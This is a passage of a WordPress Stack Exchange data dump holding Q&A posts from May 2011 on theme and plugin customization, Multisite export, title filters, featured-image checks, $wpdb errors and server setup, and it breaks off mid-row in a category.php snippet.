  <row Id="16361" PostTypeId="1" CreationDate="2011-05-04T19:36:11.180" Score="0" ViewCount="168" Body="&lt;p&gt;I integrated the feature list into my Wordpress site, but having a little trouble with customization. I to add &quot;read more&quot; after each of the lists description text, but when I try to make the &quot;read more&quot; a link, it destroys the whole section. Not sure if it's css or the script that runs this plugin. Does this make any sense to anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example at &lt;a href=&quot;http://axiomwest.com/&quot; rel=&quot;nofollow&quot;&gt;http://axiomwest.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4596" LastEditorUserId="4596" LastEditorDisplayName="" LastEditDate="2011-05-04T20:04:45.033" LastActivityDate="2011-05-04T20:04:45.033" Title="Customizing jQuery Plugin - Feature List" Tags="&lt;plugins&gt;&lt;jquery&gt;" CommentCount="3" />
  <row Id="16362" PostTypeId="2" ParentId="15668" CreationDate="2011-05-04T19:49:52.000" Score="0" ViewCount="" Body="&lt;p&gt;Well, in short, I had our in-house programmer build me a 3rd party system which we integrated into Wordpress. WP is awesome, but not quite there yet with these kinds of features built in. To the future!&lt;/p&gt;&#xA;" OwnerUserId="4596" LastActivityDate="2011-05-04T19:49:52.000" />
  <row Id="16363" PostTypeId="2" ParentId="16352" CreationDate="2011-05-04T20:03:47.593" Score="0" ViewCount="" Body="&lt;p&gt;I do not believe this is possible. The only way is to create the page in each site or add a custom link to one main page but doing this will show only that sites theme&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-04T20:03:47.593" CommentCount="4" />
  <row Id="16364" PostTypeId="2" ParentId="16321" CreationDate="2011-05-04T20:07:13.987" Score="1" ViewCount="" Body="&lt;p&gt;Multiply how often it will be used by number of people who will use it. The larger number you get the more benefit is there to use widgets. The lower number is the more drag and issues widgets will create without much benefit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you use theme yourself only and would probably only change those parts occasionally - low;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;theme will be used by multiple people but there isn't much to change - medium (note that &lt;a href=&quot;http://codex.wordpress.org/Theme_Review#Functionality&quot; rel=&quot;nofollow&quot;&gt;official theme guidelines require widgets&lt;/a&gt; if theme is going to be hosted in official repository);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;a lot of people and a lot of to control - high.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-04T20:07:13.987" />
  <row Id="16365" PostTypeId="1" CreationDate="2011-05-04T20:14:03.723" Score="0" ViewCount="111" Body="&lt;p&gt;I have been trying to get the answer to this for ages now and wondered if anyone here could help. I would like to 'grab' the first link in a post and attach it to a button/image. I have tried the numerous options available here: &lt;a href=&quot;http://wpquestions.com/question/show/id/873&quot; rel=&quot;nofollow&quot;&gt;http://wpquestions.com/question/show/id/873&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had greater success with the last suggestion in the post of the link above, HOWEVER, it only works in Safari... I have tried with Chrome, Opera, IE and Firefox and none of them can even see the image let alone the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is here: &lt;a href=&quot;http://www.officialiphoneapp.com&quot; rel=&quot;nofollow&quot;&gt;http://www.officialiphoneapp.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click on an app to see more, you should see an 'Available on iTunes' button above the post picture and a 'Download on iTunes' button below the post but unless you're using Safari you won't see either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all suggestions welcome.&#xA;Marcus&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2011-05-04T22:28:05.120" Title="how to grab first link in post... and of course call it" Tags="&lt;posts&gt;&lt;urls&gt;&lt;image&gt;&lt;link&gt;&lt;buttons&gt;" AnswerCount="2" />
  <row Id="16366" PostTypeId="2" ParentId="14221" CreationDate="2011-05-04T20:49:31.167" Score="0" ViewCount="" Body="&lt;p&gt;I prefer to do this directly in my themes. Considering how many issues can arise from either using too many plugins (lots of clients will install 50 plugins and then notice things not working), plugins with bad interactions or plugins that think they need to include their own copies of things like JS libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest con is that your code will become outdated eventually. With plugins you don't have to worry about maintaining the code for the rest of time.&lt;/p&gt;&#xA;" OwnerUserId="5116" LastActivityDate="2011-05-04T20:49:31.167" />
  <row Id="16367" PostTypeId="1" AcceptedAnswerId="16368" CreationDate="2011-05-04T20:51:15.190" Score="0" ViewCount="143" Body="&lt;p&gt;I currently use WordPress for most of my projects, the way I manage them is creating a folder for each in my local environment each containing a WP install which in times makes it a paint to maintain, upgrade and takes more space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at WP Multisite and I was wondering if I could use it to create multiple projects with the same WP installation but ran into a problem, when I finish a project using my current method I just send my client a SQL Dump of my DB, tell them to replace the URL and install all the files/folders to his server and it works fine. But WP Multisite creates an unique folder and DB structure which makes it difficult to do this since most of my clients won't be using MU but regular Wordpress installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there an easy way to &quot;export&quot; a WP MS site to use it on a regular WP install? Or should I stick to having multiple WP copies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-04T21:46:10.977" LastActivityDate="2011-05-20T06:26:11.970" Title="Using WordPress Multisite to manage multiple projects?" Tags="&lt;themes&gt;&lt;multisite&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16368" PostTypeId="2" ParentId="16367" CreationDate="2011-05-04T21:02:18.267" Score="3" ViewCount="" Body="&lt;p&gt;Export/Import like you would the data for any other WordPress install:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the development site: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;Dashboard -&amp;gt; Tools -&amp;gt; Export -&amp;gt; All Content&lt;/code&gt; (save file)&lt;/li&gt;&#xA;&lt;li&gt;Package up the Theme files as &quot;theme-name.zip&quot;&lt;/li&gt;&#xA;&lt;li&gt;Make note of any custom settings&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On the live site:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the custom Theme&lt;/li&gt;&#xA;&lt;li&gt;`Dashboard -&gt; Tools -&gt; Import -&gt; WordPress data file (upload file)&lt;/li&gt;&#xA;&lt;li&gt;Change any custom settings noted above&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to try a database export, you could try network-enabling one of the many database-backup Plugins in the repository, such as WP-DBmanager, and running it from your dev site.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-05T03:24:59.560" LastActivityDate="2011-05-05T03:24:59.560" CommentCount="5" />
  <row Id="16369" PostTypeId="2" ParentId="15966" CreationDate="2011-05-04T21:03:58.300" Score="1" ViewCount="" Body="&lt;p&gt;The rewrite rules need to be flushed when you add a custom post type, this can be done by visiting the permalinks admin page.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-04T21:03:58.300" />
  <row Id="16370" PostTypeId="2" ParentId="16365" CreationDate="2011-05-04T22:02:45.913" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.wprecipes.com/how-to-get-the-first-image-from-the-post-and-display-it&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com/how-to-get-the-first-image-from-the-post-and-display-it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bavotasan.com/tutorials/retrieve-the-first-image-from-a-wordpress-post/&quot; rel=&quot;nofollow&quot;&gt;http://bavotasan.com/tutorials/retrieve-the-first-image-from-a-wordpress-post/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-image-grabber/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-image-grabber/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-04T22:02:45.913" CommentCount="1" />
  <row Id="16371" PostTypeId="2" ParentId="16365" CreationDate="2011-05-04T22:13:03.333" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function get_content_link( $content = false, $echo = false )&#xA;{&#xA;    // allows using this function also for excerpts&#xA;    if ( $content === false )&#xA;        $content = get_the_content(); // You could also use $GLOBALS['post']-&amp;gt;post_content;&#xA;&#xA;    $content = preg_match_all( '/href\s*=\s*[\&quot;\']([^\&quot;\']+)/', $content, $links );&#xA;    $content = $links[1][0];&#xA;    $content = make_clickable( $content );&#xA;&#xA;    // if you set the 2nd arg to true, you'll echo the output, else just return for later usage&#xA;    if ( $echo === true )&#xA;        echo $content;&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function should answer your Q. It's tested and works fine.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-04T22:28:05.120" LastActivityDate="2011-05-04T22:28:05.120" />
  <row Id="16372" PostTypeId="1" CreationDate="2011-05-04T23:01:03.453" Score="2" ViewCount="167" Body="&lt;p&gt;As the title says , I want a plugin/function to prevent/inform the user when he tries to publish the post without setting the featured image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANY HELP ???&lt;/p&gt;&#xA;" OwnerUserId="5117" LastActivityDate="2011-06-04T23:57:41.783" Title="Prevent publishing the post before setting a featured image?" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;post-thumbnails&gt;&lt;publish&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16373" PostTypeId="1" AcceptedAnswerId="16374" CreationDate="2011-05-04T23:19:01.020" Score="0" ViewCount="97" Body="&lt;p&gt;I need your &lt;strong&gt;recommendation for the best practice&lt;/strong&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A custom post type I have created&#xA;needs a list of attachments at the&#xA;end of the post content.&lt;/li&gt;&#xA;&lt;li&gt;I have created a series of functions that handle&#xA;displaying the list of appropriate&#xA;attachments for a post.&lt;/li&gt;&#xA;&lt;li&gt;I don't want to use shortcode to insert this attachment list, since every post of this post type should have the list&lt;/li&gt;&#xA;&lt;li&gt;I'm looking for a portable, reusable approach&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My initial approach was to encapsulate the attachment functions into a standalone plugin. But how to integrate the plugin output into the page if I don't use shortcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution was to create my own pseudo-template-tag (&quot;the_attachments()&quot;) which is defined in the plugin. Then my custom-post-type.php template page uses this pseudo-template-tag right after the_content() and we get our nice list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is this really the best approach? Now we have a template that's dependent on an external plugin. If the plugin isn't there, the template &quot;breaks&quot;. It's tough to &quot;require&quot; a plugin, from a template perspective because is_plugin_active() is only available at the admin level, and that's probably for a reason (because it's a stupid idea to make a template dependent on a plugin!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm left with either:&#xA;A) decouple the plugin output from the template, similar to the way a widget works (if so, how do I pass the $post information to that widget?), or&#xA;B) embed the &quot;plugin&quot; code within the template functions (but is this then truly portable?)&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-05-06T14:04:34.437" LastActivityDate="2011-05-06T14:04:34.437" Title="Best practice for including plugin output in a template without using shortcode?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;template&gt;&lt;sidebar&gt;&lt;best-practices&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16374" PostTypeId="2" ParentId="16373" CreationDate="2011-05-04T23:26:42.973" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// A)&#xA;// inside your template&#xA;if ( function_exists( 'the_attachment_stuff()' ) )&#xA;{&#xA;    // do stuff&#xA;}&#xA;// better/faster&#xA;if ( class_exists( 'attachment_plugin_class' ) )&#xA;{&#xA;    // do stuff&#xA;}&#xA;&#xA;// B) &#xA;// inside your template&#xA;do_action( 'the_attachment_suff');&#xA;// means setting this inside your plugin&#xA;// this avoids throwing errors or aborting if the hook isn't in your template&#xA;add_action( 'the_attachment_stuff', 'your_callback_fn' );&#xA;&#xA;// C)&#xA;function add_attachment_stuff()&#xA;{&#xA;    if ( ! is_admin() )&#xA;        return;&#xA;&#xA;    // the following is guess and theory...&#xA;    $content  = get_the_content();&#xA;    $content .= the_attachment_stuff(); // in case the attachment_stuff returns instead of echos the result/output.&#xA;}&#xA;// @link http://codex.wordpress.org/Plugin_API/Action_Reference&#xA;// only add on publish, on 'post_save' we would add it multiple times&#xA;add_action( 'publish_post', 'add_attachment_stuff', 100 );&#xA;add_action( 'publish_phone', 'add_attachment_stuff', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-04T23:26:42.973" CommentCount="2" />
  <row Id="16375" PostTypeId="2" ParentId="7365" CreationDate="2011-05-04T23:27:31.967" Score="0" ViewCount="" Body="&lt;p&gt;If you need to load language files from a subdirectory in a theme child directory, you can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;load_child_theme_textdomain('PARENT THEME DIRECTORY NAME', dirname(__FILE__).'/LANGUAGE FILES SUBDIRECTORY NAME');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your parent theme name is 'perfect-theme' and you child theme name is 'perfect-theme-child' and the language files are in subdirectory 'languages' of the child theme, the code would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;load_child_theme_textdomain('perfect-theme', dirname(__FILE__).'/languages');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code will only work if language file has appropriate name, which means it should have name LOCALE.mo where LOCALE is you current language settings in wordpress admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, if your current language is Spanish, wordpress will look for file with name es_ES.mo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="5118" LastActivityDate="2011-05-04T23:27:31.967" />
  <row Id="16376" PostTypeId="2" ParentId="16372" CreationDate="2011-05-04T23:36:52.500" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Something like that should help, but you'll have to play with it to get it working:&#xA;// inside your functions.php file&#xA;function wpse16372_prevent_publish()&#xA;{&#xA;    if ( ! is_admin() )&#xA;        return;&#xA;&#xA;    // This should be ok, but should be tested:&#xA;    $post_id = $GLOBALS['post']-&amp;gt;ID;&#xA;    echo '&amp;lt;pre&amp;gt;Test for post ID: '; print_r( $post_id ); echo '&amp;lt;/pre&amp;gt;';// the actual test&#xA;&#xA;    // has_post_thumbnail() doesn't work/exist on/for admin screens (see your error msg). You need to find another way to test if the post has a thumbnail. Maybe some Javascript?&#xA;    if ( ! has_post_thumbnail( $post_id );&#xA;    {&#xA;        ?&amp;gt;&#xA;        &amp;lt;!-- // &#xA;        &amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;            alert( 'you have to use a featured image' );&#xA;        &amp;lt;/script&amp;gt;&#xA;        // --&amp;gt;&#xA;        &amp;lt;?php&#xA;        exit; // abort&#xA;    }&#xA;}&#xA;add_action( 'save_post', 'wpse16372_prevent_publish', 100 );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-05T23:53:25.447" LastActivityDate="2011-05-05T23:53:25.447" CommentCount="6" />
  <row Id="16377" PostTypeId="2" ParentId="16373" CreationDate="2011-05-05T00:14:00.803" Score="2" ViewCount="" Body="&lt;p&gt;You can output your plugins function to the_content by adding with a filter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ta_post_attachment() {&#xA;    if ( is_singular( 'your_custom_post_type' ) {&#xA;        // do stuff&#xA;        }&#xA;}&#xA;&#xA;add_filter( 'the_content', 'ta_post_attachment' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-05T00:14:00.803" CommentCount="2" />
  <row Id="16378" PostTypeId="1" AcceptedAnswerId="16473" CreationDate="2011-05-05T00:17:59.783" Score="2" ViewCount="95" Body="&lt;p&gt;If you were configuring a new VPS for a WP website that hasn't launched yet, What technologies would you choose? (website specs below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Website&lt;/strong&gt; &lt;br/&gt;&#xA;Targeting 50-60k hits /mo. and more&#xA;The website is designed to categorize embedded YouTube videos using a chained select menu (1 query for multiple boxes). Using less than 5 &quot;static&quot; pages. I would like to keep the homepage fairly static so the server can cache it easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Server&lt;/strong&gt; &lt;br/&gt;&#xA;Starting with a Linode 512mb VPS, can scale up as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have planned so far&lt;/strong&gt; &lt;br/&gt;&#xA;After scouring the web, it seems that Apache with an Ngnix reverse proxy does not offer any benefits with unless you need Apache for cPanel, or are more comfortable with it (i'm not, just starting out).&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Latest Nginx&lt;br/&gt;&#xA;PHP-FPM&lt;br/&gt;&#xA;X-Cache&lt;br/&gt;&#xA;(also using W3 Total cache in WP)&lt;/p&gt;&#xA;" OwnerUserId="3971" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-05T00:45:48.810" LastActivityDate="2011-05-05T18:08:30.267" Title="Fastest Server Config, Whats your suggestion?" Tags="&lt;performance&gt;&lt;nginx&gt;&lt;vps&gt;" AnswerCount="1" />
  <row Id="16379" PostTypeId="1" AcceptedAnswerId="16713" CreationDate="2011-05-05T00:18:11.590" Score="0" ViewCount="99" Body="&lt;p&gt;I'm trying to synchronise my files with the Amazon S3 server for distribution using CloudFront, as the CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently having troubles syncing the files though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've verified that the details are correct, though, when I click on sync it says it is syncing 1 item of many, but looking at the S3 bucket, it doesn't seem to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no errors in the PHP log to help me either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running WordPress 3.1.2, on Windows Server 2008 R2, IIS 7.5 - PHP 5.3.6. cURL is installed, as per &lt;a href=&quot;http://service.radonsystems.net/info.php&quot; rel=&quot;nofollow&quot;&gt;PHPInfo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Shamil&lt;/p&gt;&#xA;" OwnerUserId="5120" LastActivityDate="2011-05-09T02:47:24.843" Title="Cannot upload to S3 using CDN Sync Tool" Tags="&lt;3.1&gt;&lt;cdn&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16380" PostTypeId="1" AcceptedAnswerId="16383" CreationDate="2011-05-05T01:34:54.763" Score="0" ViewCount="35" Body="&lt;p&gt;What is the best way to add php to the edit link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: insert &lt;code&gt;&amp;lt;?php echo of_get_option('dappo_actionbtncolor', 'dappblue' ); ?&amp;gt;&lt;/code&gt; into the span tag of &lt;code&gt;&amp;lt;?php edit_post_link( __( 'Edit this', 'mytheme' ), '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-05-05T01:48:58.810" Title="PHP in Edit Post link" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="16381" PostTypeId="2" ParentId="16330" CreationDate="2011-05-05T01:41:18.250" Score="1" ViewCount="" Body="&lt;p&gt;FYI UserVoice does have a free plan for our Feedback product, and there's a third-party Wordpress plugin available at: &lt;a href=&quot;http://wordpress.org/extend/plugins/user-voice/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-voice/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5121" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-05T03:41:19.817" LastActivityDate="2011-05-05T03:41:19.817" CommentCount="1" />
  <row Id="16382" PostTypeId="1" CreationDate="2011-05-05T01:42:02.930" Score="1" ViewCount="144" Body="&lt;p&gt;I am using $wpdb-&gt;update to update a custom table I have in my database. When I var_dump the result it returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int(0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I tried $wpdb-&gt;print_error() to see what's wrong. However, it shows nothing. I also tried $wpdb-&gt;show_errors(), but again it showed nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Show_and_Hide_SQL_Errors&quot; rel=&quot;nofollow&quot;&gt;wpdb docs&lt;/a&gt; don't go into much detail on how to use these functions, so I am unsure if I am using them correctly. But why would the result of updating a table return 0, and not show any errors?&lt;/p&gt;&#xA;" OwnerUserId="4224" LastActivityDate="2011-08-12T18:22:47.513" Title="Showing errors with $wpdb" Tags="&lt;errors&gt;&lt;wpdb&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="16383" PostTypeId="2" ParentId="16380" CreationDate="2011-05-05T01:48:58.810" Score="2" ViewCount="" Body="&lt;p&gt;The easiest way might be to use &lt;code&gt;get_edit_post_link()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_edit_post_link&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;), which returns &lt;em&gt;just&lt;/em&gt; the link, allowing you to use it however you need, according to your purposes.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-05T01:48:58.810" />
  <row Id="16384" PostTypeId="1" AcceptedAnswerId="16385" CreationDate="2011-05-05T01:50:37.780" Score="0" ViewCount="50" Body="&lt;p&gt;I hope this question is easy. I want to customize my theme so that the post titles are created on the fly with code. For example, I might have a post where a price changes on the page 4 times a week, and I want to be able to change my  to say: Get Product X for $19.99 without having to manually edit a meta variable...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a wordpress function I can call to override the title using a plugin?&lt;/p&gt;&#xA;" OwnerUserId="5122" LastActivityDate="2011-05-05T02:01:31.147" Title="Customizing Titles on the Fly with Code" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;3.1&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="16385" PostTypeId="2" ParentId="16384" CreationDate="2011-05-05T02:01:31.147" Score="2" ViewCount="" Body="&lt;p&gt;I can't answer how you'll get your dynamic data with which to update your Post Title, but you can easily hook into the Post Title, using the &lt;code&gt;the_title&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function mytheme_dynamic_title( $title ) {&#xA;     // do something to the Post Title, which is passed&#xA;     // into this function as the variable $title&#xA;     // and then return $title&#xA;     return $title;&#xA;}&#xA;add_filter( 'the_title', 'mytheme_dynamic_title' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you started with hooking into the Title.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-05T02:01:31.147" CommentCount="1" />
  <row Id="16386" PostTypeId="1" AcceptedAnswerId="16396" CreationDate="2011-05-05T02:10:03.543" Score="1" ViewCount="496" Body="&lt;p&gt;My question is basically identical to this other question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6811/creating-a-metabox-to-upload-multiple-images&quot;&gt;here&lt;/a&gt;, however my question is still slightly different. I basically have a custom post type called &quot;Packages&quot; each package can have a slideshow with its own images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the images are uploaded through the media uploader (as per the associated questions chosen answer), however is it possible to only get a list of images attached to the post that AREN'T the featured image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the answer given to the other question would get all images including the featured image, does Wordpress treat featured images differently in the background so I can exclude them?&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-05-05T04:52:34.110" Title="Creating a metabox to upload multiple images, Ignoring The Featured Image" Tags="&lt;custom-post-types&gt;&lt;media&gt;&lt;media-library&gt;&lt;media-upload&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="16387" PostTypeId="1" CreationDate="2011-05-05T02:14:09.377" Score="0" ViewCount="262" Body="&lt;p&gt;There are two different category &quot;Life Sciences&quot; and &quot;General Lab&quot; and there are sub-categorical product on &quot;Life Sciences&quot;.&#xA;Now &quot;General Lab&quot; category want to fetch all the sub-category and products which &quot;Life sciences&quot; have. The code is in category.php.&#xA;Here is the whole code:&#xA;&lt;code&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;    &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( is_category('general-lab') ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php //FETCHING ONLY GENERAL LAB CATEGORY&#xA;&#xA;                $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;                $the_query = new WP_Query(&quot;posts_per_page=10&amp;amp;category_name=life-sciences&amp;amp;paged=&quot;.$paged); ?&amp;gt;&#xA;&#xA;                &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php echo single_cat_title(&quot;&quot;, TRUE); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;            &amp;lt;?php $count=0; while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if($count % 2 == 0) echo '&amp;lt;div class=&quot;left&quot;&amp;gt;'; else echo '&amp;lt;div class=&quot;right&quot;&amp;gt;'; ?&amp;gt;&#xA;                &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                &amp;lt;div class=&quot;cat-thumb&quot;&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, '_mcf_block-one', true); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;cat-entry&quot;&amp;gt;&#xA;                    &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;     &#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;            &amp;lt;?php if($count % 2 != 0) echo '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;';?&amp;gt;&#xA;&#xA;            &amp;lt;?php $count++; endwhile; ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if (  $the_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;            &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Previous', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_posts_link( __( 'Next &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt; ', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php echo single_cat_title(&quot;&quot;, TRUE); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;?php $count=0; while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if($count % 2 == 0) echo '&amp;lt;div class=&quot;left&quot;&amp;gt;'; else echo '&amp;lt;div class=&quot;right&quot;&amp;gt;'; ?&amp;gt;&#xA;            &amp;lt;div 